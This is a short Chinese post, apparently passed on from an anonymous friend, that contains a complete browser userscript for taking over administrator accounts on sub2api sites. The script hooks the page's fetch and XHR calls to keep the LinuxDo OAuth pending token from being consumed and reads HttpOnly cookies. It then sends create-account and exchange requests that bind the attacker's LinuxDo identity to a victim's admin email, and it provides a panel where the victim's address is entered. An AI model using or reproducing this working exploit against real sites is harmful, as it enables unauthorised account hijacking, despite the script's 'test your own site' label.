我朋友给我的 朋友不愿意署名ewe
// ==UserScript==
// @name sub2api LinuxDo Pending-Token 拦截器(手动绑定受害者)
// @namespace sub2api-ato-test
// @version 1.1.0
// @description 拦截 sub2api 前端对 oauth_pending_session 的自动消耗(exchange/create-account),保住 pending token;然后手动消耗该 token,把受害者的管理员邮箱绑定到自己的 LinuxDo 身份上。仅限测试自己部署的站点。
// @match http:///
// @match https:///
// @grant GM_cookie
// @grant GM_registerMenuCommand
// @grant GM_webRequest
// @run-at document-start
// @noframes
// ==/UserScript==
/ eslint-env es2022 /
/ global GM_cookie, GM_registerMenuCommand, GM_webRequest, unsafeWindow /

(() => {
'use strict';

// ── 页面真实 window(核心修复:必须用 unsafeWindow) ──────────────────
const pageWin = (typeof unsafeWindow !== 'undefined') ? unsafeWindow : window;

// ── 配置 ────────────────────────────────────────────────────────────────
const CFG = {
/** 被拦截的路径片段(命中则阻止,保护 pending token 不被消耗) */
blockPaths: [
'/api/v1/auth/oauth/pending/exchange',
'/pending/exchange',
'/api/v1/auth/oauth/linuxdo/create-account',
'/create-account',
'/complete-registration',
'/bind-login',
],
/** GM_webRequest 浏览器级拦截的 URL 模式(兜底,只拦 exchange) */
webRequestSelectors: [
':///api/v1/auth/oauth/pending/exchange',
],
password: 'Pwn3d-123456',
verifyCode: '000000',
};

const PENDING_COOKIE = 'oauth_pending_session';
const BROWSER_COOKIE = 'oauth_pending_browser_session';

// ── 运行时状态 ─────────────────────────────────────────────────────────
const state = {
block: true,
pendingToken: null,
pendingDecoded: null,
browserKey: null,
intercepted: [],
};

const log = [];
function addLog(kind, msg) {
const line = [${new Date().toLocaleTimeString()}] ${kind} ${msg};
log.push(line);
if (log.length > 120) log.shift();
const el = document.getElementById('ato-log');
if (el) { el.textContent = log.join('\n'); el.scrollTop = el.scrollHeight; }
// 控制台也留一份,方便排查
try { console.log('[ato]', line); } catch (e) { / ignore / }
}

// ── 拦截判定 ───────────────────────────────────────────────────────────
function shouldBlock(urlStr, method) {
if (!state.block) return false;
if (!urlStr) return false;
try {
const u = new URL(urlStr, location.origin);
if (!u.pathname.startsWith('/api/v1/auth/oauth')) return false;
return CFG.blockPaths.some((p) => u.pathname.includes(p));
} catch (e) {
return false;
}
}

function fakeResponse() {
const body = JSON.stringify({
code: 0,
data: {
auth_result: 'pending_session',
step: 'choose_account_action_required',
adoption_required: true,
blocked_by: 'userscript',
},
});
return new pageWin.Response(body, {
status: 200,
headers: { 'Content-Type': 'application/json' },
});
}

// ═══════════════════════════════════════════════════════════════════════
// 第一道防线:hook 页面真实的 fetch / XMLHttpRequest(unsafeWindow)
// ═══════════════════════════════════════════════════════════════════════
let nativeFetch = null;
try {
if (typeof pageWin.fetch === 'function') {
nativeFetch = pageWin.fetch.bind(pageWin);
pageWin.fetch = function (input, init) {
const urlStr = typeof input === 'string' ? input : (input && input.url) || '';
const method = ((init && init.method) || (input && input.method) || 'GET').toUpperCase();
if (shouldBlock(urlStr, method)) {
state.intercepted.push({ url: urlStr, method, body: init && init.body });
addLog('🛑', 拦截 fetch ${method} ${urlStr});
return Promise.resolve(fakeResponse());
}
return nativeFetch(input, init);
};
addLog('💡', '已 hook 页面 fetch (unsafeWindow)');
}
} catch (e) {
addLog('⚠️', 'fetch hook 失败: ' + e.message);
}

try {
const OrigXHR = pageWin.XMLHttpRequest;
const origOpen = OrigXHR.prototype.open;
const origSend = OrigXHR.prototype.send;
OrigXHR.prototype.open = function (method, url) {
this._atoMethod = (method || '').toUpperCase();
this._atoUrl = url;
return origOpen.apply(this, arguments);
};
OrigXHR.prototype.send = function (body) {
if (shouldBlock(this._atoUrl, this._atoMethod)) {
state.intercepted.push({ url: this._atoUrl, method: this._atoMethod, body });
addLog('🛑', 拦截 XHR ${this._atoMethod} ${this._atoUrl});
const fake = fakeResponse();
try {
Object.defineProperty(this, 'responseText', { value: fake, configurable: true });
Object.defineProperty(this, 'response', { value: fake, configurable: true });
Object.defineProperty(this, 'status', { value: 200, configurable: true });
Object.defineProperty(this, 'statusText', { value: 'OK', configurable: true });
Object.defineProperty(this, 'readyState', { value: 4, configurable: true });
} catch (e) { / ignore / }
queueMicrotask(() => {
this.dispatchEvent(new Event('readystatechange'));
this.dispatchEvent(new Event('load'));
this.dispatchEvent(new Event('loadend'));
});
return;
}
return origSend.apply(this, arguments);
};
addLog('💡', '已 hook 页面 XMLHttpRequest (unsafeWindow)');
} catch (e) {
addLog('⚠️', 'XHR hook 失败: ' + e.message);
}

// ═══════════════════════════════════════════════════════════════════════
// 第二道防线:GM_webRequest 浏览器级拦截(网络层直接 cancel)
// 手动绑定期间会临时停用,避免误伤自己的请求
// ═══════════════════════════════════════════════════════════════════════
let stopWebRequest = null;

function enableWebRequest() {
if (typeof GM_webRequest !== 'function' || stopWebRequest) return;
try {
stopWebRequest = GM_webRequest(
CFG.webRequestSelectors.map((selector) => ({ selector, action: 'cancel' })),
(info) => {
state.intercepted.push({ url: info.url, method: '', body: '', via: 'webRequest' });
addLog('🛑', 网络层取消 exchange: ${info.url});
}
);
addLog('💡', 'GM_webRequest 双保险已启用(pending/exchange 网络层直拦)');
} catch (e) {
stopWebRequest = null;
addLog('⚠️', 'GM_webRequest 不可用: ' + e.message + '(仅剩 JS hook 拦截)');
}
}

function disableWebRequest() {
if (stopWebRequest) {
try { stopWebRequest(); } catch (e) { / ignore / }
stopWebRequest = null;
addLog('💡', 'GM_webRequest 已临时停用(手动绑定期间)');
}
}

// ── 读取 HttpOnly cookie(GM_cookie,需授权;读不到不影响攻击链) ──────
function refreshPendingToken() {
if (typeof GM_cookie === 'undefined') return;
try {
GM_cookie.list({ name: PENDING_COOKIE }, (cookies, error) => {
if (!error && cookies && cookies.length) {
state.pendingToken = cookies[0].value || null;
state.pendingDecoded = state.pendingToken ? b64uDecode(state.pendingToken) : null;
} else {
state.pendingToken = null;
state.pendingDecoded = null;
}
renderPanel();
});
GM_cookie.list({ name: BROWSER_COOKIE }, (cookies, error) => {
if (!error && cookies && cookies.length) {
state.browserKey = cookies[0].value || null;
} else {
state.browserKey = null;
}
renderPanel();
});
} catch (e) { / ignore / }
}

function b64uDecode(s) {
try {
let t = String(s).replace(/-/g, '+').replace(/_/g, '/');
t += '='.repeat((4 - (t.length % 4)) % 4);
return decodeURIComponent(escape(atob(t)));
} catch (e) {
return '<无法解码>';
}
}

// ── 手动消耗:绑定受害者 ───────────────────────────────────────────────
async function bindVictim(email) {
const victim = (email || '').trim().toLowerCase();
if (!victim) { addLog('❌', '请输入受害者邮箱'); return; }
addLog('⏳', 开始绑定受害者 ${victim}(手动消耗 pending token));

// 临时停用 GM_webRequest,避免拦截自己的绑定请求
disableWebRequest();

// 用页面原始 fetch(绕过我们自己的 hook),credentials 自动带 HttpOnly cookie
const api = (path, body) => {
const f = nativeFetch || pageWin.fetch.bind(pageWin);
return f(pageWin.location.origin + path, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'same-origin',
body: JSON.stringify(body),
});
};

try {
// a. create-account:受害者邮箱 + 错误验证码 -> 服务端改写会话 TargetUserID
const r1 = await api('/api/v1/auth/oauth/linuxdo/create-account', {
email: victim,
password: CFG.password,
verify_code: CFG.verifyCode,
});
const j1 = await r1.json().catch(() => null);
addLog('🔁', create-account -> HTTP ${r1.status} ${JSON.stringify(j1).slice(0, 300)});
const step1 = j1 && j1.data && j1.data.step;
if (r1.status >= 400 && step1 !== 'choose_account_action_required') {
addLog('❌', 'create-account 失败,请检查响应(邮箱不存在/人机验证/邀请码限制)');
return;
}
addLog('✅', 服务端已改写会话: step=${step1 || 'unknown'} email=${victim});

// b. exchange:非空 body 绕过 adoption 决策检查,完成绑定
const r2 = await api('/api/v1/auth/oauth/pending/exchange', { adopt_avatar: false });
const j2 = await r2.json().catch(() => null);
addLog('🔁', exchange -> HTTP ${r2.status} ${JSON.stringify(j2).slice(0, 300)});
if (r2.status >= 400) {
addLog('❌', 'exchange 失败,请检查响应');
return;
}
addLog('✅', '绑定完成!你的 LinuxDo identity 已挂到受害者账户。');
addLog('💡', '切到【放行模式】,再次 LinuxDo 登录即可拿到受害者 token。');
} catch (e) {
addLog('❌', '绑定过程异常: ' + e.message);
} finally {
enableWebRequest();
}
}

// ── 浮动面板 ───────────────────────────────────────────────────────────
function renderPanel() {
const el = document.getElementById('ato-panel');
if (!el) return;
const tokenStr = state.pendingToken
? `<div class="ato-row"><span class="ato-k">pending token</span><code class="ato-v">${state.pendingToken}</code></div>
<div class="ato-row"><span class="ato-k">解码 session_token</span><code class="ato-v">${state.pendingDecoded}</code></div>`
: <div class="ato-row"><span class="ato-k">pending token</span><span class="ato-v ato-muted">未读到(授权 GM_cookie 或尚未登录)</span></div>;
const browserStr = state.browserKey
? <div class="ato-row"><span class="ato-k">browser_key</span><code class="ato-v">${state.browserKey}</code></div>
: '';
const webReqOn = stopWebRequest ? ' + 网络层直拦' : '';
el.innerHTML = `
<div class="ato-head">
<b>sub2api pending-token 拦截器${webReqOn}</b>
<button id="ato-toggle" class="ato-btn ${state.block ? 'ato-on' : 'ato-off'}">${state.block ? '拦截中 ON' : '放行模式 OFF'}</button>
<button id="ato-clear" class="ato-btn ato-mini">清日志</button>
</div>
${tokenStr}
${browserStr}
<div class="ato-row"><span class="ato-k">被拦截请求</span><span class="ato-v">${state.intercepted.length} 次</span></div>
<div class="ato-row">
<input id="ato-victim" type="email" placeholder="受害者管理员邮箱" class="ato-input" />
<button id="ato-bind" class="ato-btn ato-bind">绑定受害者</button>
</div>
<pre id="ato-log" class="ato-log"></pre>
`;
const t = document.getElementById('ato-toggle');
if (t) t.onclick = () => { state.block = !state.block; renderPanel(); addLog('🔀', state.block ? '拦截已开启' : '放行模式(不再拦截 exchange)'); };
document.getElementById('ato-clear').onclick = () => { log.length = 0; renderPanel(); };
const b = document.getElementById('ato-bind');
if (b) b.onclick = () => bindVictim(document.getElementById('ato-victim').value);
document.getElementById('ato-log').textContent = log.join('\n');
}

function ensurePanel() {
if (document.getElementById('ato-panel')) return;
const style = document.createElement('style');
style.textContent = `
#ato-panel{position:fixed;right:16px;bottom:16px;z-index:2147483647;width:430px;max-height:72vh;
display:flex;flex-direction:column;gap:6px;background:#0f172a;color:#e2e8f0;
border:1px solid #334155;border-radius:10px;padding:10px 12px;font:12px/1.5 ui-monospace,Consolas,monospace;
box-shadow:0 8px 30px rgba(0,0,0,.5)}
#ato-panel .ato-head{display:flex;align-items:center;gap:8px}
#ato-panel .ato-head b{flex:1;color:#38bdf8}
#ato-panel .ato-row{display:flex;gap:6px;align-items:center}
#ato-panel .ato-k{flex:0 0 130px;color:#94a3b8}
#ato-panel .ato-v{flex:1;color:#fbbf24;word-break:break-all;overflow-wrap:anywhere}
#ato-panel .ato-muted{color:#64748b}
#ato-panel code.ato-v{font-size:11px;background:#1e293b;padding:2px 4px;border-radius:4px;max-height:40px;overflow:auto}
#ato-panel .ato-input{flex:1;background:#1e293b;border:1px solid #334155;color:#e2e8f0;border-radius:6px;padding:5px 8px}
#ato-panel .ato-btn{border:0;border-radius:6px;padding:5px 10px;cursor:pointer;color:#fff;font-weight:bold}
#ato-panel .ato-on{background:#16a34a}
#ato-panel .ato-off{background:#dc2626}
#ato-panel .ato-bind{background:#2563eb;flex:0 0 auto}
#ato-panel .ato-mini{background:#475569;font-weight:normal}
#ato-panel .ato-log{flex:1;margin:0;background:#020617;border:1px solid #1e293b;border-radius:6px;
padding:6px;height:150px;overflow:auto;white-space:pre-wrap;color:#cbd5e1;font-size:11px}
`;
(document.head || document.documentElement).appendChild(style);

const panel = document.createElement('div');
panel.id = 'ato-panel';
(document.body || document.documentElement).appendChild(panel);
renderPanel();
refreshPendingToken();
setInterval(refreshPendingToken, 2000);
}

if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', ensurePanel, { once: true });
} else {
ensurePanel();
}
window.addEventListener('load', ensurePanel);

// ── 控制台 API(挂在页面真实 window 上) ──────────────────────────────
pageWin.__ato = {
block: (v) => { state.block = v !== false; renderPanel(); },
bind: (email) => bindVictim(email),
token: () => state.pendingToken,
decoded: () => state.pendingDecoded,
logs: () => log.slice(),
state: () => JSON.parse(JSON.stringify(state)),
};

// ── 启动菜单 + 双保险 ──────────────────────────────────────────────────
try {
GM_registerMenuCommand('绑定受害者(弹出输入框)', () => {
const email = prompt('受害者管理员邮箱:');
if (email) bindVictim(email);
});
GM_registerMenuCommand('切换 拦截/放行', () => {
state.block = !state.block;
renderPanel();
});
} catch (e) { / ignore / }

enableWebRequest();
addLog('🚀', '脚本已启动 v1.1(unsafeWindow hook + GM_webRequest 双保险)');
})();